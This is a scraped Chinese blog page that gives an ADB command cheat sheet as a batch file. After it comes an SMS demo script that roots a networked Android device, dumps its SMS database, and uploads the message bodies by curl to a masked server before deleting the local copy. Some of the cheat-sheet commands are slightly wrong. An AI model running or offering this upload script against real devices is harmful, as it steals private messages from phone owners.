ADB(Android Debug Bridge)小结

@echo off
title Android Debug Bridge

ECHO 关闭ADB
adb kill-server

ECHO 启动ADB
adb start-server

ECHO 查看已连接 adb 的设备列表
adb devices

ECHO 远程调试
adb connect 192.168.43.1

ECHO 获取权限
adb root

ECHO 获取设备的状态
adb get-state

ECHO 打印 Android 的系统日志
adb logcat

ECHO 手机屏幕保存到SDCard
adb shell /system/bin/screencap -p /sdcard/screenshot.png

ECHO 屏幕图片保存到电脑
adb pull /sdcard/screenshot.png .

ECHO 强制安装
adb install -r adbWireless_12.apk

ECHO 卸载 APK
adb uninstall *.apk

ECHO 重启手机
adb reboot

ECHO 进入shell环境
adb shell

ECHO 修改文件权限,要先进入 shell 环境
chmod 0755 [手机端文件路径]

ECHO 重启手机进入 Recovery
adb reboot recovery

ECHO 重启手机进入 Bootloader
adb reboot bootloader

ECHO 将手机上的运行日志导出为 txt 文件
adb logcat > log.txt

ECHO 将设备改为可读可写
adb remount

ECHO 新增的录制命令执行命令后操作手机,ctrl + c 结束录制,录制结果保存至 sdcard
adb shell screenrecord sdcard/record.mp4

ECHO 模拟输入文本信息(前提先将键盘设置为英文键盘)
adb input text HelloWorld

ECHO 模拟物理按键操作
adb input keyevent KEYCODE_VOLUME_DOWN

ECHO 模拟点击操作
adb input tap 500 500

ECHO 模拟滑动操作
adb input swipe 200 500 400 500

ECHO 模拟长按操作(x1 y1 x2 y2 毫米)
adb input swipe 200 200 200 200 1000

ECHO 启动默认浏览器打开一个网页
adb shell am start -a android.intent.action.VIEW -d http://litry.cn Starting: Intent { act=android.intent.action.VIEW dat=http://litry.cn }

ECHO 启动拨号器拨打 10086
adb shell am start -a android.intent.action.CALL -d tel:10086 Starting: Intent { act=android.intent.action.CALL dat=tel:xxxxx }

获取手机短信的小demo

@echo off
title SMS

ECHO 关闭ADB
adb kill-server

ECHO 启动ADB
adb start-server

ECHO 连接远程设备
adb connect 192.168.43.1

ECHO 获取权限
adb root

ECHO 将设备改为可读可写
adb remount

ECHO 导出mmssms.db
adb pull /data/data/com.android.providers.telephony/databases/mmssms.db .

ECHO 关闭ADB
adb kill-server

ECHO 导出短信
sqlite3 -csv mmssms.db "select _id,body from sms order by _id desc">sms.txt

ECHO 删除本地mmssms.db
ECHO del mmssms.db

ECHO 上传至服务器
curl -F "[email protected]" http://***/sms

ECHO 删除短信
del sms.txt

PAUSE

原文地址:https://www.cnblogs.com/LiTry/p/8367486.html

时间: 2024-10-07 04:15:31

ADB(Android Debug Bridge)小结的相关文章

C语言基础课程 第三课 ADB(Android Debug Bridge)的使用

?? C语言基础课程 第三课 ADB(Android Debug Bridge)的使用 由于前面已经发布过Linux的博客了 基础班将Linux基础命令就不单独发表博客了,本节课主要就是利用adb连接手机进行一个Linux基本命令的复习.而且熟悉手机的底层运作,不用界面操作照样也能安装软件  卸载软件与pc传数据 目  录 1       将android设备通过USB连接到PC. 3 2       查看当前设备... 3 3       进入设备shell. 4 4       执行shel

Android之独孤口诀:模拟器创建及adb(android debug bridge安卓调试桥)

VGA:640*480 像素 HVGA(half vga):480*320 像素 QVGA(quarter vga):320*240 像素 WVGA(width vga):800*480 像素 FWVGA:854*480 二.adb(android debug bridge:安卓调试桥) 常用命令: pull: adb pull  /storage/sdcard1/DCIM/Camera/IMG_20141124_193236.jpg  abc.jpg  (将 /storage/sdcard1/

VS2015 Could not locate the Android Debug Bridge (adb.exe).

VS2015 corvoda出现"Could not locate the Android Debug Bridge (adb.exe)." 是由于找不到adb.exe引起,Android sdk环境变量的问题 VS中Android sdk是在注册表中指定的,位置HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Android SDK Tools  键-Path 修改Path值为Android sdk路径,问题解决 注意:sdk路径下要有  \platfo

Android Debug Bridge

[Android Debug Bridge] ADB lets you communicate with an emulator instance or connected Android-powered device. ADB is a client-server program that includes three components: A client, which runs on your development machine(运行于开发机上). You can invoke a

Android Debug Bridge version 1.0.41

Android Debug Bridge version 1.0.41 Version 29.0.1-5644136 Installed as D:\Program Files\Android\platform-tools\adb.exe global options: -a listen on all network interfaces, not just localhost -d use USB device (error if multiple devices connected) -e

Android 官方命令之Android Debug Bridge(adb)(未完待续)

作者:宋志辉 Android Debug Brideg(adb)是一个多用途的命令行工具.可以与Android虚拟机进行通信或连接真机.它同样提供了访问设备shell的高级命令行操作的权限.它是一个包含以下三部分的客户端-服务端程序: 一个客户端,运行在你的开发设备上.你可以通过adb命令来从shell中调用一个客户端.或者通过ADT插件和DDMS创建adb客户端. 一个服务端,作为一个后台进程运行在你的开发设备中.服务端负责客户端和虚拟机或设备中adb守护进程的通信. 一个守护进程,运行在虚拟

ADB常用命令(Android Debug Bridge)

首先要配置环境变量. adb devices 列出所有的设备 adb start-server 开启adb服务 adb kill-server    关闭adb服务 adb logcat    查看Log adb shell    挂载到Linux的空间 adb install <应用程序(加扩展名)>     安装应用程序 adb –s <模拟器名称>  install  <应用程序(加扩展名)>  安装应用到指定模拟器 adb uninstall <程序包名&

adb基本命令总结(Android Debug Bridge)

adb 是PC和设备连接的桥梁,可以通过adb对devices进行相关操作 adb devices           列出你的devices adb kill-server         杀掉adb服务(如果设备连接出问题,可尝试) adb start-server      重启adb服务 adb shell                进入默认device的Linux shell,可以直接执行Linux命令 adb shell screenrecord /sdcard/runCase.

adb——Android的ADB工具使用

一.定义与作用: ADB全称Android Debug Bridge, 就是起到调试桥的作用.是android sdk里的一个工具, 用这个工具可以直接操作管理android模拟器或者真实的andriod设备,默认情况下当我们运行Eclipse时adb进程就会自动运行.当然我们也可以在外部使用本身自带的一些命令,进行操控模拟器或者真实的设备.adb一般位于<sdk>/platform-tools/目录下,其中<sdk>是android sdk的安装目录.它的主要功能有: (1)快速